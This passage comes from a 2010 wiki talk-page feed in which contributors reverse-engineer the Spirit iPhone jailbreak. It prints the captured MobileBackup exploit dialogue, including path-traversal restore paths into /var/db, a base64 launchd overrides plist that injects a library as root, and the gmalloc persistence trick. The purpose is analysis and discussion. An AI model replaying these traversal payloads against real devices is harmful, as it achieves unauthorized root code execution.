		&amp;lt;key&amp;gt;BackupProtocolVersion&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;3.0&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;/dict&amp;gt;&lt;br /&gt;
&amp;lt;/array&amp;gt;&lt;br /&gt;
&amp;lt;/plist&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Response:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;CFArray 00F7BFB0 [100B4070]&amp;gt;{&lt;br /&gt;
        type = immutable, count = 1, values = (&lt;br /&gt;
                0 : &amp;lt;CFString 00F7BF78 [100B4070]&amp;gt;{contents = &amp;quot;DLMessageDeviceReady&amp;quot;}&lt;br /&gt;
        )&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== plist 2 - Upload Overrides ====&lt;br /&gt;
Transmitted:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE plist PUBLIC &amp;quot;-//Apple//DTD PLIST 1.0//EN&amp;quot; &amp;quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;plist version=&amp;quot;1.0&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;array&amp;gt;&lt;br /&gt;
	&amp;lt;string&amp;gt;DLSendFile&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;data&amp;gt;&lt;br /&gt;
	PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHBs&lt;br /&gt;
	aXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQTElTVCAxLjAvL0VOIiAiaHR0cDovL3d3&lt;br /&gt;
	dy5hcHBsZS5jb20vRFREcy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJz&lt;br /&gt;
	aW9uPSIxLjAiPgo8ZGljdD4KICAgIDxrZXk+Y29tLmFwcGxlLlNwcmluZ0JvYXJkPC9r&lt;br /&gt;
	ZXk+CiAgICA8ZGljdD4KICAgICAgICA8a2V5PkRpc2FibGVkPC9rZXk+CiAgICAgICAg&lt;br /&gt;
	PHRydWUvPgogICAgPC9kaWN0PgoKICAgIDxrZXk+Y29tLmFwcGxlLnRjcGR1bXAuc2Vy&lt;br /&gt;
	dmVyPC9rZXk+CiAgICA8ZGljdD4KICAgICAgICA8a2V5PktlZXBBbGl2ZTwva2V5Pgog&lt;br /&gt;
	ICAgICAgIDx0cnVlLz4KICAgICAgICA8a2V5PkxhYmVsPC9rZXk+CiAgICAgICAgPHN0&lt;br /&gt;
	cmluZz5jb20uYXBwbGUudGNwZHVtcC5zZXJ2ZXI8L3N0cmluZz4KICAgICAgICA8a2V5&lt;br /&gt;
	PlByb2dyYW1Bcmd1bWVudHM8L2tleT4KICAgICAgICA8YXJyYXk+CiAgICAgICAgICAg&lt;br /&gt;
	IDxzdHJpbmc+L3NiaW4vbGF1bmNoZDwvc3RyaW5nPgogICAgICAgIDwvYXJyYXk+CiAg&lt;br /&gt;
	ICAgICAgPGtleT5SdW5BdExvYWQ8L2tleT4KICAgICAgICA8dHJ1ZS8+CiAgICAgICAg&lt;br /&gt;
	PGtleT5MYXVuY2hPbmx5T25jZTwva2V5PgogICAgICAgIDx0cnVlLz4KICAgICAgICA8&lt;br /&gt;
	a2V5PlVzZXJOYW1lPC9rZXk+CiAgICAgICAgPHN0cmluZz5yb290PC9zdHJpbmc+CiAg&lt;br /&gt;
	ICAgICAgPGtleT5FbnZpcm9ubWVudFZhcmlhYmxlczwva2V5PgogICAgICAgIDxkaWN0&lt;br /&gt;
	PgogICAgICAgICAgICA8a2V5PkRZTERfSU5TRVJUX0xJQlJBUklFUzwva2V5PgogICAg&lt;br /&gt;
	ICAgICAgICA8c3RyaW5nPi92YXIvbW9iaWxlL01lZGlhL3NwaXJpdC9vbmUuZHlsaWI8&lt;br /&gt;
	L3N0cmluZz4KICAgICAgICA8L2RpY3Q+CiAgICA8L2RpY3Q+CjwvZGljdD4KPC9wbGlz&lt;br /&gt;
	dD4KCg==&lt;br /&gt;
	&amp;lt;/data&amp;gt;&lt;br /&gt;
	&amp;lt;dict&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileAttributesKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;dict/&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileDest&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;/tmp/stuff.1273860294&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileIsEncrypted&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileOffsetKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileSource&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;/tmp/stuff.1273860294&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileStatusKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;integer&amp;gt;2&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;Path&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;Library/Preferences/SystemConfiguration/../../../../../var/db/launchd.db/com.apple.launchd/overrides.plist&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;Version&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;3.0&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;/dict&amp;gt;&lt;br /&gt;
&amp;lt;/array&amp;gt;&lt;br /&gt;
&amp;lt;/plist&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Response:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;CFArray 00F73C30 [100B4070]&amp;gt; {&lt;br /&gt;
      type = immutable, count = 2, values = (&lt;br /&gt;
            0 : &amp;lt;CFString 00F73AE8 [100B4070]&amp;gt;{contents = &amp;quot;DLMessageProcessMessage&amp;quot;}&lt;br /&gt;
            1 : &amp;lt;CFBasicHash 00F73BE8 [100B4070]&amp;gt; {&lt;br /&gt;
                  type = immutable dict, count = 2, entries =&amp;gt;&lt;br /&gt;
                        0 : &amp;lt;CFString 00F73B68 [100B4070]&amp;gt;{contents = &amp;quot;BackupMessageTypeKey&amp;quot;} = &amp;lt;CFString 00F73BA0 [100B4070]&amp;gt;{contents = &amp;quot;BackupMessageRestoreReplyOK&amp;quot;}&lt;br /&gt;
                        1 : &amp;lt;CFString 00F73B30 [100B4070]&amp;gt;{contents = &amp;quot;BackupProtocolVersion&amp;quot;} = &amp;lt;CFString 00F74980 [100B4070]&amp;gt;{contents = &amp;quot;1.6&amp;quot;}&lt;br /&gt;
            } &lt;br /&gt;
      )&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== plist 3 - Touch .launchd_use_gmalloc====&lt;br /&gt;
Transmitted:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE plist PUBLIC &amp;quot;-//Apple//DTD PLIST 1.0//EN&amp;quot; &amp;quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;plist version=&amp;quot;1.0&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;array&amp;gt;&lt;br /&gt;
	&amp;lt;string&amp;gt;DLSendFile&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;data&amp;gt;&lt;br /&gt;
	&amp;lt;/data&amp;gt;&lt;br /&gt;
	&amp;lt;dict&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileAttributesKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;dict/&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileDest&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;/tmp/stuff.1273860295&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileIsEncrypted&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileOffsetKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileSource&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;/tmp/stuff.1273860295&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileStatusKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;integer&amp;gt;2&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;Path&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;Library/Preferences/SystemConfiguration/../../../../../var/db/.launchd_use_gmalloc&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;Version&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;3.0&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;/dict&amp;gt;&lt;br /&gt;
&amp;lt;/array&amp;gt;&lt;br /&gt;
&amp;lt;/plist&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Response:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;CFArray 00F80D70 [100B4070]&amp;gt; {     &lt;br /&gt;
      type = immutable, count = 2, values = (&lt;br /&gt;
            0 : &amp;lt;CFString 00F73C60 [100B4070]&amp;gt;{contents = &amp;quot;DLMessageProcessMessage&amp;quot;} &lt;br /&gt;
            1 : &amp;lt;CFBasicHash 00F80D28 [100B4070]&amp;gt; {&lt;br /&gt;
                  type = immutable dict, count = 2, entries =&amp;gt;&lt;br /&gt;
                  0 : &amp;lt;CFString 00F7D4B0 [100B4070]&amp;gt;{contents = &amp;quot;BackupMessageTypeKey&amp;quot;} = &amp;lt;CFString 00F80CA8 [100B4070]&amp;gt;{contents = &amp;quot;BackupMessageRestoreFileReceived&amp;quot;}&lt;br /&gt;
                  2 : &amp;lt;CFString 00F80C70 [100B4070]&amp;gt;{contents = &amp;quot;BackupRestoreFileName&amp;quot;} = &amp;lt;CFString 00F80CF0 [100B4070]&amp;gt;{contents = &amp;quot;/tmp/stuff.1273764810&amp;quot;}&lt;br /&gt;
            } &lt;br /&gt;
      )&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-[[User:EnohpiDesrever|EnohpiDesrever]] 16:11, 17 May 2010 (UTC)&lt;/div&gt;</summary>
		<author><name>EnohpiDesrever</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Talk:Spirit&amp;diff=6405</id>
		<title>Talk:Spirit</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Talk:Spirit&amp;diff=6405"/>
		<updated>2010-05-17T17:22:32Z</updated>

		<summary type="html">&lt;p&gt;EnohpiDesrever: /* More Reversings */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;There exists also a tool called [[Spirit Fixer|Spirit Fixer v1.01]], written by [[Kirma]]. Anybody knows what that is? Here's a link: http://twitter.com/elior231/status/13296125900&lt;br /&gt;
&lt;br /&gt;
--[[User:Http|http]] 21:42, 4 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I'd love to see a technical writeup of everything, although I don't blame you if you don't. I'm lazy about those things too. As far as trying to keep it secret from Apple, I don't feel theres a point, they'll find it no matter what we do.&lt;br /&gt;
&lt;br /&gt;
--[[User:Geohot|geohot]] 14:02, 5 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I have started reverse engineering Spirit and making some UML(like) data flow and function diagrams. The problem is that I am guessing at too many things since I did not wana post anything and have someone get pissed it was out there. I am up for putting a formal brief together if others want to collaborate. I would imagine as Geohot said, that apple had this disassembled before the .tar was dry. Not to mention that they are not just looking for the exploit that was used (since they most likely had a whiteboard full of potentials during design) , they are looking for copyright violations and their stollen code in every bit of its bits.  &lt;br /&gt;
&lt;br /&gt;
--KodeSlinger 16:31, 5 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
Meh, as mentioned on spiritjb.com, once Apple has shown that they've fixed it, the source will be released anyway. - MuscleNerd&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
@MuscleNerd - I started working on it BS (Before Spirit :) ), to create a centralized location that dynamically maps (HW/FW/SW) physical and logical drawings together. My thought was something like this wiki on crack. Ideally to generate functional diagrams of the idevice that act as a starting point to link to more detailed sections pertaining to that functions exploits, related functions, and source code samples(or any other data). Since I am new to this community I have been trying to organize this data for my own brain, and thought others might use it. I will post some screen shots later. The more organized we are the easier it will be to exploit the next vulnerability. &lt;br /&gt;
--[[User:Viper911h|KodeSlinger]] 20:11, 5 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
Oh hah, cool :)  If you do that though, obviously you shouldn't go overboard and start publicly discussing variations of this that would help Apple close other holes yet to be exploited (it sounds like your well-versed enough to do that!) - MuscleNerd&lt;br /&gt;
&lt;br /&gt;
@MuscleNerd - Hah; yeah obviously cool kidz only lol --[[User:Viper911h|KodeSlinger]] 21:08, 5 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
== Reversing Spirit ==&lt;br /&gt;
&lt;br /&gt;
I just started reversing Spirit and thought I'd share what I learned so far in hopes of hearing more from others.&lt;br /&gt;
&lt;br /&gt;
Spirit.exe extracts a bunch of files into a temp directory as follows:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
+ Documents and Settings/&amp;lt;User&amp;gt;/Local Settings/spiritxxx&lt;br /&gt;
|&lt;br /&gt;
+ - dl&lt;br /&gt;
|   |&lt;br /&gt;
|   + - dl.exe&lt;br /&gt;
|&lt;br /&gt;
+ - igor&lt;br /&gt;
|   |&lt;br /&gt;
|   + - 2dcde0a77381d24b7c02ac0cf7f714434c4ccdcf.dylib&lt;br /&gt;
|   + - 3e404d11fcbd5486d3be2dd86ce21316e1854842.dylib&lt;br /&gt;
|   + - 74227c0021c5e12effb5bd3175eb469a8df0622e.dylib&lt;br /&gt;
|   + - b735701843456754988021d128c2671ee36d1b04.dylib&lt;br /&gt;
|   + - f6c17e934ba0ad477812de0b7cb019396d259d93.dylib&lt;br /&gt;
|   + - install&lt;br /&gt;
|   + - map.plist&lt;br /&gt;
|&lt;br /&gt;
+ - resources&lt;br /&gt;
    |&lt;br /&gt;
    + - 320x480.jpg&lt;br /&gt;
    + - 1024x768.jpg&lt;br /&gt;
    + - overrides.plist&lt;br /&gt;
    + - icon.ico&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Spirit.exe is simply a GUI wrapper for dl.exe, which does the heavy lifting and is written using the cross-platform library CoreFoundation.dll.  Dl.exe uses the iTunes DLL to get access to the iDevice, registering a callback function through AMDeviceNotificationSubscribe.  The callback function launches a thread, which uploads 4 files as follows:&lt;br /&gt;
&lt;br /&gt;
# One of the dylibs (depending on the iDevice version?) is uploaded as /var/mobile/Media/spirit/one.dylib&lt;br /&gt;
# The Mach-O ARM executable &amp;quot;install&amp;quot; is uploaded as /var/mobile/Media/spirit/install&lt;br /&gt;
# The Spirit.exe is uploaded as /var/mobile/Media/spirit/freeze.tar.xz&lt;br /&gt;
# One of the jpgs is uploaded as /var/mobile/Media/spirit/bg.jpg&lt;br /&gt;
&lt;br /&gt;
After the files are uploaded, the upload thread signals to the main thread that the files are ready.  The main thread then sends over two plists (shown at the end of the log below) via MobileBackup.&lt;br /&gt;
&lt;br /&gt;
As I've only just started looking at this, and I'm also new to the iPhone scene, I have lots of questions.&lt;br /&gt;
&lt;br /&gt;
# Is the MobileBackup interface documented anywhere?  Was it used in other jb tools before Spirit?&lt;br /&gt;
# Why is Spirit.exe uploaded to the iDevice as freeze.tar.xz?&lt;br /&gt;
# What purpose do map.plist and overrides.plist serve?&lt;br /&gt;
# What are the two plists sent at the end of the transfer, and how do they allow the &amp;quot;install&amp;quot; image to be executed?&lt;br /&gt;
# What does install do to provide an untethered solution?&lt;br /&gt;
&lt;br /&gt;
I'll post more as I learn, but it would be nice to hear if others have made more progress.&lt;br /&gt;
&lt;br /&gt;
-[[User:EnohpiDesrever|EnohpiDesrever]] 16:47, 14 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
# Don't think it's documented.&lt;br /&gt;
# Actually, freeze.tar.xz is tacked on to Spirit.exe, after the string 'magicmagicmagicm'.  xz is http://tukaani.org/xz/&lt;br /&gt;
# One maps firmware version to the dylib that should be uploaded.  The other is read by launchd.&lt;br /&gt;
# Just look at the contents of overrides.plist and the launchd source.  The nefarious part is actually getting that file in the appropriate directory.  (Note that overrides is only used for the initial install, because launchd spawns everything at once and the following solution ensures the exploit is run first.)&lt;br /&gt;
# By installing itself as /usr/lib/libgmalloc.dylib.  To quote saurik: &amp;quot;if you touch the file /var/db/.launchd_use_gmalloc, then the first thing launchd does is set DYLD_INSERT_LIBRARIES to /usr/lib/libgmalloc.dylib and restart itself&amp;quot;&lt;br /&gt;
&lt;br /&gt;
--[[User:Comex|Comex]] 22:54, 14 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
== More Reversings ==&lt;br /&gt;
&lt;br /&gt;
Thanks for your response, Comex, and thanks for the jailbreak!  Hope you don't mind me posting what I learn here.  I figure that Apple's got to be way ahead of my progress if they care at all to fix the vulnerability.  I have some more questions for you, if you don't mind, based on the MobileBackup dialogue I found in Spirit (see below).&lt;br /&gt;
&lt;br /&gt;
# What type of encoding is used to encode the overrides file that is uploaded?&lt;br /&gt;
# How is /tmp/stuff.1273860295 used to touch launchd_use_gmalloc?&lt;br /&gt;
# Is the crazy directory traversal (Library/Preferences/SystemConfiguration/../../../../../) necessary to circumvent security or just an artifact?&lt;br /&gt;
&lt;br /&gt;
So, let me see if I understand the vulnerabilities that you are exploiting.  You found a way to override the environment variable DYLD_INSERT_LIBRARIES via MobileBackup to point to your own library (/var/mobile/Media/spirit/one.dylib).  You then installed your own patched version of /usr/lib/libgmalloc.dylib, which gets loaded everytime the device boots up and launchd is executed.&lt;br /&gt;
&lt;br /&gt;
Below is the MobileBackup dialogue I extracted.&lt;br /&gt;
&lt;br /&gt;
==== plist 0 - Version Exchange ====&lt;br /&gt;
&lt;br /&gt;
Transmitted:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE plist PUBLIC &amp;quot;-//Apple//DTD PLIST 1.0//EN&amp;quot; &amp;quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;plist version=&amp;quot;1.0&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;array&amp;gt;&lt;br /&gt;
	&amp;lt;string&amp;gt;DLMessageVersionExchange&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;string&amp;gt;DLVersionsOk&amp;lt;/string&amp;gt;&lt;br /&gt;
&amp;lt;/array&amp;gt;&lt;br /&gt;
&amp;lt;/plist&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Response:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;CFArray 00F72AE0 [100B4070]&amp;gt;{&lt;br /&gt;
        type = immutable, count = 3, values = (&lt;br /&gt;
                0 : &amp;lt;CFString 00F72A70 [100B4070]&amp;gt;{contents = &amp;quot;DLMessageVersionExchange&amp;quot; }&lt;br /&gt;
                1 : &amp;lt;CFNumber 00F80F08 [100B4070]&amp;gt;{value = +100, type = kCFNumberSInt64Type}&lt;br /&gt;
                2 : &amp;lt;CFNumber 00F72AB8 [100B4070]&amp;gt;{value = +0, type = kCFNumberSInt32Type}&lt;br /&gt;
        )&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== plist 1 - Restore Request ====&lt;br /&gt;
Transmitted:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE plist PUBLIC &amp;quot;-//Apple//DTD PLIST 1.0//EN&amp;quot; &amp;quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;plist version=&amp;quot;1.0&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;array&amp;gt;&lt;br /&gt;
	&amp;lt;string&amp;gt;DLMessageProcessMessage&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;dict&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;BackupManifestKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;dict&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;AuthSignature&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;data&amp;gt;&lt;br /&gt;
			7ZSsx9DFT5h7/4rkU1uJJebKwbc=&lt;br /&gt;
			&amp;lt;/data&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;AuthVersion&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;2.0&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;Data&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;data&amp;gt;&lt;br /&gt;
			PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4K&lt;br /&gt;
			PCFET0NUWVBFIHBsaXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQ&lt;br /&gt;
			TElTVCAxLjAvL0VOIiAiaHR0cDovL3d3dy5hcHBsZS5jb20vRFRE&lt;br /&gt;
			cy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJzaW9u&lt;br /&gt;
			PSIxLjAiPgo8ZGljdD4KCTxrZXk+QXBwbGljYXRpb25zPC9rZXk+&lt;br /&gt;
			Cgk8ZGljdC8+Cgk8a2V5PkRldmljZUlkPC9rZXk+Cgk8c3RyaW5n&lt;br /&gt;
			PmYzNjQ3OGI3OTUzYzZhZWFkMTlmOGYzMTZhZmIzYzBmNDg2YWMz&lt;br /&gt;
			OWI8L3N0cmluZz4KCTxrZXk+RmlsZXM8L2tleT4KCTxkaWN0PgoJ&lt;br /&gt;
			CTxrZXk+NjYxZjVhMTYyMTk1ODhjNmU4NDY3MzVjNjYzZmJlMzFl&lt;br /&gt;
			NWY4NGRhNTwva2V5PgoJCTxkaWN0PgoJCQk8a2V5PkRhdGFIYXNo&lt;br /&gt;
			PC9rZXk+CgkJCTxkYXRhPgoJCQlxZytPdnJUWXM0T1oxQjdZTFJS&lt;br /&gt;
			WURFbE82bDg9CgkJCTwvZGF0YT4KCQkJPGtleT5Eb21haW48L2tl&lt;br /&gt;
			eT4KCQkJPHN0cmluZz5Ib21lRG9tYWluPC9zdHJpbmc+CgkJCTxr&lt;br /&gt;
			ZXk+RmlsZUxlbmd0aDwva2V5PgoJCQk8aW50ZWdlcj45MjI8L2lu&lt;br /&gt;
			dGVnZXI+CgkJCTxrZXk+R3JvdXAgSUQ8L2tleT4KCQkJPGludGVn&lt;br /&gt;
			ZXI+MDwvaW50ZWdlcj4KCQkJPGtleT5Nb2RlPC9rZXk+CgkJCTxp&lt;br /&gt;
			bnRlZ2VyPjM4NDwvaW50ZWdlcj4KCQkJPGtleT5Nb2RpZmljYXRp&lt;br /&gt;
			b25UaW1lPC9rZXk+CgkJCTxkYXRlPjIwNjUtMDEtMTVUMTk6MDk6&lt;br /&gt;
			NDZaPC9kYXRlPgoJCQk8a2V5PlVzZXIgSUQ8L2tleT4KCQkJPGlu&lt;br /&gt;
			dGVnZXI+MDwvaW50ZWdlcj4KCQk8L2RpY3Q+CgkJPGtleT5iYTdl&lt;br /&gt;
			NDM1MzRjZDVhOThkZTA4MGU2MTQxYmVhZjVkYzAwNGFkMjM3PC9r&lt;br /&gt;
			ZXk+CgkJPGRpY3Q+CgkJCTxrZXk+RGF0YUhhc2g8L2tleT4KCQkJ&lt;br /&gt;
			PGRhdGE+CgkJCW1TWGRRNGlLZWQ3SFMvS3IyRWNPSFE0TEliST0K&lt;br /&gt;
			CQkJPC9kYXRhPgoJCQk8a2V5PkRvbWFpbjwva2V5PgoJCQk8c3Ry&lt;br /&gt;
			aW5nPkhvbWVEb21haW48L3N0cmluZz4KCQkJPGtleT5GaWxlTGVu&lt;br /&gt;
			Z3RoPC9rZXk+CgkJCTxpbnRlZ2VyPjA8L2ludGVnZXI+CgkJCTxr&lt;br /&gt;
			ZXk+R3JvdXAgSUQ8L2tleT4KCQkJPGludGVnZXI+MDwvaW50ZWdl&lt;br /&gt;
			cj4KCQkJPGtleT5Nb2RlPC9rZXk+CgkJCTxpbnRlZ2VyPjM4NDwv&lt;br /&gt;
			aW50ZWdlcj4KCQkJPGtleT5Nb2RpZmljYXRpb25UaW1lPC9rZXk+&lt;br /&gt;
			CgkJCTxkYXRlPjIwNjUtMDEtMTVUMTk6MDk6NDZaPC9kYXRlPgoJ&lt;br /&gt;
			CQk8a2V5PlVzZXIgSUQ8L2tleT4KCQkJPGludGVnZXI+MDwvaW50&lt;br /&gt;
			ZWdlcj4KCQk8L2RpY3Q+Cgk8L2RpY3Q+Cgk8a2V5PlZlcnNpb248&lt;br /&gt;
			L2tleT4KCTxzdHJpbmc+Ni4yPC9zdHJpbmc+CjwvZGljdD4KPC9w&lt;br /&gt;
			bGlzdD4K&lt;br /&gt;
			&amp;lt;/data&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;IsEncrypted&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;/dict&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;BackupMessageTypeKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;kBackupMessageRestoreRequest&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;BackupNotifySpringBoard&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;true/&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;BackupPreserveCameraRoll&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;true/&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;BackupProtocolVersion&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;3.0&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;/dict&amp;gt;&lt;br /&gt;
&amp;lt;/array&amp;gt;&lt;br /&gt;
&amp;lt;/plist&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Response:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;CFArray 00F7BFB0 [100B4070]&amp;gt;{&lt;br /&gt;
        type = immutable, count = 1, values = (&lt;br /&gt;
                0 : &amp;lt;CFString 00F7BF78 [100B4070]&amp;gt;{contents = &amp;quot;DLMessageDeviceReady&amp;quot;}&lt;br /&gt;
        )&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== plist 2 - Upload Overrides ====&lt;br /&gt;
Transmitted:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE plist PUBLIC &amp;quot;-//Apple//DTD PLIST 1.0//EN&amp;quot; &amp;quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;plist version=&amp;quot;1.0&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;array&amp;gt;&lt;br /&gt;
